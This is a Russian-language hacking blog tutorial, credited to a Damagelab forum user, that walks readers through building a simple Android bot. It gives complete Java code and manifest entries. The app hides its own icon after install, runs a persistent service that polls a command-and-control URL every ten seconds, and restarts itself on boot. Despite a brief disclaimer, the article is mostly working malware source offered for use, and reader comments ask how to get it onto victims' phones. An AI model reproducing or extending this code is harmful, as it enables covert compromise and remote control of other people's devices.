Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит 🙂
Да тут особо ничего мудрить не надо. Просто идем по шагам.
1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html)
2. Скачиваем android studio (http://developer.android.com/sdk/index.html#Other) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?
3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.
4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову
5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.
6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.
7. Ну вот собственно и все.
Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать
[ad name=»UMI 600×313″]
Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.
Пока файлы нового проекта индексируются и настраивается сборщик проекта.
Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java
Заменяем
public class MainActivity extends AppCompatActivity
на
public class MainActivity extends Activity
Удаляем
import android.support.v7.app.AppCompatActivity;
Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем
android:theme="@style/AppTheme"
на
android:theme="@android:style/Theme.Translucent.NoTitleBar"
Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.
Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:
String pgkname = getApplicationContext().getPackageName(); ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity"); getApplicationContext().getPackageManager().setComponentEnabledSetting( componentToDisable, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
Этот код скроет нашу иконку с глаз И после всего этого пишем:
finish();
Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.
[ad name=»MiBand2″]
Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на
import android.app.Service; import android.content.Intent; import android.os.IBinder; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.DefaultHttpClient; import java.io.InputStream; import java.util.Timer; import java.util.TimerTask; public class Network extends Service{ @Override public int onStartCommand(Intent intent, int flags, int startId) { return Service.START_STICKY; } @Override public IBinder onBind(Intent intent) { throw new UnsupportedOperationException(""); } @Override public void onCreate() { MyTimerTask myTask = new MyTimerTask(); Timer myTimer = new Timer(); myTimer.schedule(myTask, 10000, 10000); } class MyTimerTask extends TimerTask { public void run() { String result = ""; result = GET("http://site.ru/?q="); // Обработка result } } public String GET(String url){ InputStream inputStream = null; String result = ""; try { HttpClient httpclient = new DefaultHttpClient(); HttpResponse httpResponse = httpclient.execute(new HttpGet(url)); inputStream = httpResponse.getEntity().getContent(); if(inputStream != null) result = convertInputStreamToString(inputStream); else result = ""; } catch (Exception e) { } return result; } }
Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.
Добавляем
<uses-permission android:name="android.permission.INTERNET" />
и в описание application
<service android:name=".Network" />
Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса
getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));
Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
Добавляем обязательно обработчик в описание application
<receiver android:name=".Boot" android:enabled="true" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver>
Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class Boot extends BroadcastReceiver { @Override public void onReceive(Context context, Intent arg1) { context.startService(new Intent(context, Network.class)); } }
Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет прододжение
За данный материал мы благодарны пользователю allmore из форума Damagelab
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…
View Comments
Ничего не выходит. Android Studio 2.1
Ты sdk настроил ?
Да, но сразу говорю, что я не качал всяких Android N эмуляторов и т.п. Конкретно я не могу загрузить import в MainActivity, пишет что то типo Can't resolve HttpClient. Было бы не плохо, если бы Вы залили исходники, потому что с ними нагляднее
нужно добавить библиотеку в настройках проекта.
почему то не получается перейти по ссылке в самом начале
в части про стучание в админку написано что она должна быть где-то написана как её написать?подскажите вот адрес почты Jekaa66666@yandex.ru
С помощью C++ можно создать?
Нативная среда разработки для Андроид - java..
если вы каким то образом перекомпилируете код из С++ то наверное можно. но это будет жесткий костыль.
Eclypse в помошь
Нах админку рут просите сразу
Как с Вами связаться?
Есть вопросы и предложения.
Ну сделали мы его, а дальше что? Как отправить жертве? Что он будет делать? Или что добывать? Как мы будем это получать?